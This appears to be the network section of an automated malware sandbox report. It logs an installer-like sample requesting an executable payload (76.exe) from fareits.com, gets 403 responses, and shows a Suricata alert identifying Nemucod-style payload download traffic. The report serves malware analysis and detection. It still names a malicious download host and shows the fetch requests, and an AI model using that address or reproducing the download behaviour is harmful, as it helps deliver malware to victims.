Network Analysis
Name | Response | Post-Analysis Lookup |
---|---|---|
fareits.com | 172.67.169.14 |
- TCP Requests
HEAD
403
http://fareits.com/76.exe
REQUEST
RESPONSE
BODY
HEAD /76.exe HTTP/1.1
Accept: */*
User-Agent: InnoDownloadPlugin/1.5
Host: fareits.com
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Date: Mon, 20 Sep 2021 00:43:21 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 16
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Referrer-Policy: same-origin
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dScR7NGQZUyIJztMz5W%2FCS6SsKsHr0M9mqvLz7i6GQkSbW5%2Feh6siigP1VOOj14BvsIFuBkylnvVCytYFeK3vUpe88MHroXr4VK20D7rvtZKHzYDkgD2kjRhgIjSLQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 691704e22ae7fce5-KIX
GET
403
http://fareits.com/76.exe
REQUEST
RESPONSE
BODY
GET /76.exe HTTP/1.1
Accept: */*
User-Agent: InnoDownloadPlugin/1.5
Host: fareits.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Date: Mon, 20 Sep 2021 00:43:21 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 16
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Referrer-Policy: same-origin
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=e97lysZiwyAsFkfo2E%2Bcbl7Luxy%2Bo2MAcpTLh2ydTuAM9swGO5G4UJRg5fNpep%2B3W3GgcTvJFPaSte%2BugBn8mBs5M%2BVrnQu33SL%2ByVRdquNKr9cZwM29c9fVXjc%2BiA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 691704e27b66fce5-KIX
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.102:49171 -> 172.67.169.14:80 | 2022482 | ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01 | A Network Trojan was detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts